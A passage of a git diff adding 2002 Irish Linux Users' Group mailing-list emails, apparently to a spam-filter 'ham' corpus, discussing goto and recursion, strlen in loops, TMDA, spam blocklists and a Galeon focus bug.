(8.9.3/8.9.3) with ESMTP id LAA09753; Thu, 8 Aug 2002 11:38:07 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA09703 for ; Thu, + 8 Aug 2002 11:37:54 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id LAA20378 for ; Thu, + 8 Aug 2002 11:37:23 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g78Abns02539 for ilug@linux.ie; Thu, 8 Aug 2002 11:37:49 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Thu, 8 Aug 2002 11:37:49 +0100 +From: "John P. Looney" +To: ilug@linux.ie +Subject: Re: [ILUG] slashdot EW Dijkstra humor +Message-Id: <20020808103749.GB1853@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: ilug@linux.ie +References: <200208081032.LAA09312@lugh.tuatha.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <200208081032.LAA09312@lugh.tuatha.org> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Thu, Aug 08, 2002 at 11:27:59AM +0100, wintermute mentioned: +> Interesting. I've always wondered about things 'considered' to be bad. +> Example the GOTO, most languages support a goto of some sort, so are gotos really bad? + + Yes. Especially in the languages he was talking about - C, Pascal and +Assembler. Goto's can be used well; there are a few used in the kernel +code to improve efficency. They are almost required in some languages +(like C) where 'break' or 'continue' can't be told how many loops/switches +to break out of. + + But, in general, goto's make a mess of code. + +> Is a loop or a recursive call actually any better than a goto +> or is the goto used as a kind of common enemy of +> programming syntax +> to make sure people use loops or recursion? +> <> + + Recursion is only truely useful if you have an infinite stack. People +that think they have an infinite stack shouldn't be let near a compiler. + +> Kind of makes you wonder about things considered to be 'good'. For +> example people bang on about polymorphism, but is there actually any +> advantage in using an overloaded function based on class inheritance? + + I don't care, to be honest. + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00290.2b079837bffa2f0dea4003cf99bc36e0 b/bayes/spamham/easy_ham_2/00290.2b079837bffa2f0dea4003cf99bc36e0 new file mode 100644 index 0000000..7e57226 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00290.2b079837bffa2f0dea4003cf99bc36e0 @@ -0,0 +1,65 @@ +From ilug-admin@linux.ie Thu Aug 8 14:12:19 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 91C3144138 + for ; Thu, 8 Aug 2002 08:32:42 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 13:32:42 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g78CT3204012 for + ; Thu, 8 Aug 2002 13:29:03 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA14710; Thu, 8 Aug 2002 13:24:34 +0100 +Received: from kbs01.kbs.ie ([213.190.156.48]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA14676 for ; Thu, + 8 Aug 2002 13:24:26 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [213.190.156.48] claimed + to be kbs01.kbs.ie +Received: by KBS01 with Internet Mail Service (5.5.2653.19) id ; + Thu, 8 Aug 2002 13:40:39 +0100 +Message-Id: <55DA5264CE16D41186F600D0B74D6B09247243@KBS01> +From: "Brian O'Donoghue" +To: "'ilug@linux.ie'" +Subject: RE: [ILUG] slashdot EW Dijkstra humor +Date: Thu, 8 Aug 2002 13:40:30 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + + +>Tracking it down showed that my +>predecessor's "add new entries to the end of its linked list" function +>recursively called itself with each following link until the terminating +>one showed up. Of course it died miserably when it ran out of stack. I'm +>sure he felt he'd done a good days work when he planted that bomb for +>me. + +/Enter the rant. + +One thing that really bugs me is when people say things like. + +"On the machies we have these days you don't have to worry about + writing optimised code" or "don't worry about writing + things inline, just use a function" + +"Yeah and add a procedure prolog or eight", I always counter, +to be told +"On the machines we have these days....." + +Boggle. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00291.4cefa7eed26c113ee44256009896c176 b/bayes/spamham/easy_ham_2/00291.4cefa7eed26c113ee44256009896c176 new file mode 100644 index 0000000..45c9cf4 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00291.4cefa7eed26c113ee44256009896c176 @@ -0,0 +1,89 @@ +From ilug-admin@linux.ie Thu Aug 8 15:54:19 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 74BB3440E0 + for ; Thu, 8 Aug 2002 09:10:38 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 14:10:38 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g78DCR207554 for + ; Thu, 8 Aug 2002 14:12:27 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA16826; Thu, 8 Aug 2002 14:07:53 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id OAA16804 for ; + Thu, 8 Aug 2002 14:07:47 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g78D7kY19924 for ; + Thu, 8 Aug 2002 14:07:46 +0100 +Date: Thu, 8 Aug 2002 14:07:45 +0100 +To: ilug@linux.ie +Subject: Re: [ILUG] slashdot EW Dijkstra humor +Message-Id: <20020808140745.A19598@ie.suberic.net> +References: <200208081032.LAA09312@lugh.tuatha.org> + <20020808114227.B17967@ie.suberic.net> <3D524F34.1080608@corvil.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <3D524F34.1080608@corvil.com>; from padraig.brady@corvil.com + on Thu, Aug 08, 2002 at 12:00:04PM +0100 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +Mail-Followup-To: kevin+dated+1029244066.f56e49@ie.suberic.net, + ilug@linux.ie +X-Delivery-Agent: TMDA/0.57 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Thu, Aug 08, 2002 at 12:00:04PM +0100, Padraig Brady wrote: +> Yes a clever term usually (and deservedly) attributed to perl. + +there's no need for perl to be write only. + +> Of course you can create write-only code in any language. +> There's even a competition for obfuscated C code which is always +> worth a look: http://www.es.ioccc.org/main.html + +yes, always fun. it's a good way to learn the little details of c. + +> p.s. what sort of processing do you do with: +> kevin+dated+1029235349.f17378@ie.suberic.net + +that's a dated address: + + % tmda-check-address kevin+dated+1029235349.f17378@ie.suberic.net + STATUS: VALID + EXPIRES: Tue Aug 13 10:42:29 2002 UTC + +which means anyone can send email to that address with no problem until +that date. after that they have to confirm. more info can be found +here: www.tmda.net. + +as an aside, it is possible to filter mail to a mailman mailing list +with tmda as well. subscribers can post to the list without a confirm; +non-subscribers would need to confirm their posts. + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00292.389c0e21ab950a6e28e407f01fd777d4 b/bayes/spamham/easy_ham_2/00292.389c0e21ab950a6e28e407f01fd777d4 new file mode 100644 index 0000000..139ea08 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00292.389c0e21ab950a6e28e407f01fd777d4 @@ -0,0 +1,86 @@ +From ilug-admin@linux.ie Thu Aug 8 15:56:16 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 48262440F7 + for ; Thu, 8 Aug 2002 09:27:09 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 14:27:09 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g78DPM208415 for + ; Thu, 8 Aug 2002 14:25:22 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA17944; Thu, 8 Aug 2002 14:22:24 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail02.svc.cra.dublin.eircom.net + (mail02.svc.cra.dublin.eircom.net [159.134.118.18]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id OAA17917 for ; Thu, + 8 Aug 2002 14:22:18 +0100 +Received: (qmail 30084 messnum 70756 invoked from + network[159.134.146.214/pc726.as1.galway1.eircom.net]); 8 Aug 2002 + 13:20:54 -0000 +Received: from pc726.as1.galway1.eircom.net (HELO ciaran) + (159.134.146.214) by mail02.svc.cra.dublin.eircom.net (qp 30084) with SMTP; + 8 Aug 2002 13:20:54 -0000 +Message-Id: <00af01c23edf$36806b10$ac0305c0@ciaran> +From: "Ciaran Mac Lochlainn" +To: "Brian O'Donoghue" , +References: <55DA5264CE16D41186F600D0B74D6B09247243@KBS01> +Subject: Re: [ILUG] slashdot EW Dijkstra humor +Date: Thu, 8 Aug 2002 14:26:32 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-15" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2462.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2462.0000 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Bod wrote + + +> /Enter the rant. +> +> One thing that really bugs me is when people say things like. +> +> "On the machies we have these days you don't have to worry about +> writing optimised code" or "don't worry about writing +> things inline, just use a function" + +That sounds a lot like "sure programmers aren't needed anymore, don't +all the new visual thingies mean anyone can do it"[1], or maybe "640k should +be enough for anyone"[2] + +> +> "Yeah and add a procedure prolog or eight", I always counter, +> to be told +> "On the machines we have these days....." +> +> Boggle. +> +That's recursion for you. + +C# + + +[1] This is often followed by "I know what I'm talking about, I can program +HTML but I never need to use it" +[2] Bilge denies he ever said this. + + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00293.d7d6f188d63d99da505b454c146dac77 b/bayes/spamham/easy_ham_2/00293.d7d6f188d63d99da505b454c146dac77 new file mode 100644 index 0000000..5938b2b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00293.d7d6f188d63d99da505b454c146dac77 @@ -0,0 +1,64 @@ +From ilug-admin@linux.ie Fri Aug 9 14:37:47 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2D33D440CF + for ; Fri, 9 Aug 2002 09:37:45 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 14:37:45 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79DZJb01804 for + ; Fri, 9 Aug 2002 14:35:19 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id OAA06603 for ; + Fri, 9 Aug 2002 14:32:13 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA10280; Fri, 9 Aug 2002 14:30:53 +0100 +Received: from w2k-server.bcs.ie ([195.218.97.197]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA10247 for ; Fri, + 9 Aug 2002 14:30:46 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [195.218.97.197] claimed + to be w2k-server.bcs.ie +Received: by w2k-server.bcs.ie with Internet Mail Service (5.5.2653.19) id + ; Fri, 9 Aug 2002 14:32:57 +0100 +Message-Id: <214A52C16E44D51186FB00508BB83E0F7C0D60@w2k-server.bcs.ie> +From: "Damian O' Sullivan" +To: "'Albert White - SUN Ireland'" , + ilug@linux.ie +Subject: RE: [ILUG] Sparc Solaris (was: Dell GX260 V Redhat 7.3) +Date: Fri, 9 Aug 2002 14:32:50 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +I use gnome here on half a dozen sunray 150 boxen. Been trying to get linux +on them for along time with mixed results.. Has anyone succeeded in this? + +> -> It does work on SunRays. Just install it normally on the +> server, the sun +> install will make the necessary changes to the dtlogin screen +> and you can just +> select gnome from there. AFAIK you can do this for any window +> manager. But I +> don't admin sunray servers so I'm not fully aware of the +> issues or exact +> requirements. +> +> Cheers, +> ~Al +> + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00294.0a51c5ddbf67c2e2ac03b2fdc0858acd b/bayes/spamham/easy_ham_2/00294.0a51c5ddbf67c2e2ac03b2fdc0858acd new file mode 100644 index 0000000..2ad9605 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00294.0a51c5ddbf67c2e2ac03b2fdc0858acd @@ -0,0 +1,86 @@ +From ilug-admin@linux.ie Fri Aug 9 14:37:50 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 753D1440D4 + for ; Fri, 9 Aug 2002 09:37:46 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 14:37:46 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79Dacb01955 for + ; Fri, 9 Aug 2002 14:36:38 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id OAA06616 for ; + Fri, 9 Aug 2002 14:33:32 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA10374; Fri, 9 Aug 2002 14:31:58 +0100 +Received: from florence.ie.alphyra.com + (IDENT:Wr81oUdOmQ4eR+zIBmTWI3OHD/yS52Wo@itg-gw.cr008.cwt.esat.net + [193.120.242.226]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id OAA10354 + for ; Fri, 9 Aug 2002 14:31:53 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host IDENT:Wr81oUdOmQ4eR+zIBmTWI3OHD/yS52Wo@itg-gw.cr008.cwt.esat.net + [193.120.242.226] claimed to be florence.ie.alphyra.com +Received: from dunlop.admin.ie.alphyra.com + (IDENT:EUhzjVER96a8Sdp9lci877mg0aOXzdWZ@dunlop.admin.ie.alphyra.com + [192.168.11.193]) by florence.ie.alphyra.com (8.11.6/8.11.6) with ESMTP id + g79DVqQ21670; Fri, 9 Aug 2002 14:31:52 +0100 +Date: Fri, 9 Aug 2002 14:31:52 +0100 (IST) +From: Paul Jakma +X-X-Sender: paulj@dunlop.admin.ie.alphyra.com +To: "Ryan, Shane" +Cc: ilug@linux.ie +Subject: RE: [ILUG] TMDA (WAS --> slashdot EW Dijkstra humor] +In-Reply-To: <9C498074D5419A44B05349F5BF2C26301CFA6C@sdubtalex01.education.gov.ie> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri, 9 Aug 2002, Ryan, Shane wrote: + +> Is this something along the same line as ORBS? + +SPEWS isnt it. It lists known spam source IPs and netblocks. (and if +an ISP does nothing more than shift a spammer from IP to IP within the +ISPs netblock, then the ISPs netblock will be listed.) + +and there are quite a few ORBS like lists out there - ie known open +relay lists. + +> I remember not so long ago when eircom was put on the ORBS list, +> half the ISP's in Europe wouldn't accept mail from my address. Of +> course, informing Eircom of this did nothing for about 4 months or +> so. + +shame. + +get a different ISP so. + +> IMHO stopping spammers is a great idea but I'd rather have to hit d +> or delete rather than have my messages bounced by someone else's +> ISP. + +I'd rather not get spam. sorry. + +> Regards, +> Shane + +regards, +-- +Paul Jakma Sys Admin Alphyra + paulj@alphyra.ie +Warning: /never/ send email to spam@dishone.st or trap@dishone.st + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00295.37087d1f5c2678b8152b397111456d3f b/bayes/spamham/easy_ham_2/00295.37087d1f5c2678b8152b397111456d3f new file mode 100644 index 0000000..f88ace3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00295.37087d1f5c2678b8152b397111456d3f @@ -0,0 +1,76 @@ +From ilug-admin@linux.ie Fri Aug 9 14:54:34 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5E44543FB1 + for ; Fri, 9 Aug 2002 09:54:34 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 14:54:34 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79DsYb03395 for + ; Fri, 9 Aug 2002 14:54:34 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id OAA06691 for ; + Fri, 9 Aug 2002 14:51:28 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA11276; Fri, 9 Aug 2002 14:50:36 +0100 +Received: from hawk.dcu.ie (mail.dcu.ie [136.206.1.5]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA11243 for ; Fri, + 9 Aug 2002 14:50:29 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host mail.dcu.ie [136.206.1.5] + claimed to be hawk.dcu.ie +Received: from prodigy.redbrick.dcu.ie (136.206.15.10) by hawk.dcu.ie + (6.0.040) id 3D36BB4A00080847 for ilug@linux.ie; Fri, 9 Aug 2002 14:50:29 + +0100 +Received: by prodigy.redbrick.dcu.ie (Postfix, from userid 1023) id + F0207DA4A; Fri, 9 Aug 2002 14:50:28 +0100 (IST) +Date: Fri, 9 Aug 2002 14:50:28 +0100 +From: Philip Reynolds +To: ilug@linux.ie +Subject: Re: [ILUG] slashdot EW Dijkstra humor +Message-Id: <20020809145028.A6699@prodigy.Redbrick.DCU.IE> +References: <55DA5264CE16D41186F600D0B74D6B0924724A@KBS01> + <009601c23f87$fdcf47b0$3864a8c0@sabeo.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <009601c23f87$fdcf47b0$3864a8c0@sabeo.ie>; from + mfrench42@yahoo.co.uk on Fri, Aug 09, 2002 at 10:34:41AM +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Matthew French's [mfrench42@yahoo.co.uk] 65 lines of wisdom included: +> Brian O'Donoghue wrote a code fragment: +> > For(a=0;a > { +> > some_thing_goes_here(); +> > +> > if(b=strlen(somestring)-4) +> > do_something; +> > +> > }; +> +> Unfortunately strlen is a relatively expensive operation. If you are using +> C++ this is not such a big issue as string.length() can be declared const. +> So long as you do not modify the string object, the compiler can do the +> caching for you. + +There's a more simple reason as to why strlen shouldn't be used on +the string here, and that's because in future you could actually +change the contents of ``somestring'' within the for loop, and be +left wondering why the number of iterations are not as you expect. + +Phil. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00296.12af7606f42c491ca320c1c7a284d327 b/bayes/spamham/easy_ham_2/00296.12af7606f42c491ca320c1c7a284d327 new file mode 100644 index 0000000..af72228 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00296.12af7606f42c491ca320c1c7a284d327 @@ -0,0 +1,70 @@ +From ilug-admin@linux.ie Fri Aug 9 15:00:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id AD866440D9 + for ; Fri, 9 Aug 2002 09:59:59 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 14:59:59 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79Dx1b03691 for + ; Fri, 9 Aug 2002 14:59:01 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA11513; Fri, 9 Aug 2002 14:55:28 +0100 +Received: from mail.tradesignals.com ([217.75.2.27]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA11484 for ; Fri, + 9 Aug 2002 14:55:18 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [217.75.2.27] claimed to + be mail.tradesignals.com +Received: from docaoimh.tradesignals.com (docaoimh.tradesignals.com + [192.168.1.26]) by mail.tradesignals.com (8.11.6/8.11.6) with ESMTP id + g79Dt9T25483; Fri, 9 Aug 2002 14:55:09 +0100 +Received: from localhost (localhost [[UNIX: localhost]]) by + docaoimh.tradesignals.com (8.11.6/8.11.6) id g79Dt9i07708; Fri, + 9 Aug 2002 14:55:09 +0100 +Content-Type: text/plain; charset="iso-8859-1" +From: Donncha O Caoimh +To: kevin lyda , + irish linux users group +Subject: Re: [ILUG] galeon and keyboard focus... +Date: Fri, 9 Aug 2002 14:55:09 +0100 +X-Mailer: KMail [version 1.4] +References: <20020809142147.B3331@ie.suberic.net> +In-Reply-To: <20020809142147.B3331@ie.suberic.net> +MIME-Version: 1.0 +Message-Id: <200208091455.09808.donncha.ocaoimh@tradesignals.com> +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + OAA11484 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +I get a different effect. I open new links in a tab, and they "open in the +background" or the current page still remains selected. Unfortunately the +other tab gets the focus. +The same happens with pages (re)loading in other tabs -> the current tab loses +the keyboard focus which can be very annoying when filling in forms or even +when scrolling using the mouse-wheel. + +Donncha. + + +On Friday 09 August 2002 14:21, kevin lyda wrote: +> ok, in a galeon browser window i open a new window by middle-clicking +> a link. the window comes up under my mouse. however, keys i type go to +> the first window. anyone else have this problem, and did they solve it? +> i use sawfish as my wm with sloppy focus. +> +> kevin + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00297.cd323132d57e5cb2e8599f69f6ff2848 b/bayes/spamham/easy_ham_2/00297.cd323132d57e5cb2e8599f69f6ff2848 new file mode 100644 index 0000000..4b3320b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00297.cd323132d57e5cb2e8599f69f6ff2848 @@ -0,0 +1,65 @@ +From ilug-admin@linux.ie Fri Aug 9 15:00:17 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7B7C843FB1 + for ; Fri, 9 Aug 2002 10:00:00 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:00:00 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79E1ib04098 for + ; Fri, 9 Aug 2002 15:01:44 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id OAA06479 for ; + Fri, 9 Aug 2002 14:24:34 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA09768; Fri, 9 Aug 2002 14:22:00 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id OAA09728 for ; + Fri, 9 Aug 2002 14:21:52 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g79DLnY03404 for ; + Fri, 9 Aug 2002 14:21:49 +0100 +Date: Fri, 9 Aug 2002 14:21:47 +0100 +To: irish linux users group +Message-Id: <20020809142147.B3331@ie.suberic.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +Mail-Followup-To: kevin+dated+1029331309.11b939@ie.suberic.net, + ilug@linux.ie +X-Delivery-Agent: TMDA/0.57 +Subject: [ILUG] galeon and keyboard focus... +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +ok, in a galeon browser window i open a new window by middle-clicking +a link. the window comes up under my mouse. however, keys i type go to +the first window. anyone else have this problem, and did they solve it? +i use sawfish as my wm with sloppy focus. + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00298.516883ac42f693de96cc953cf59d720b 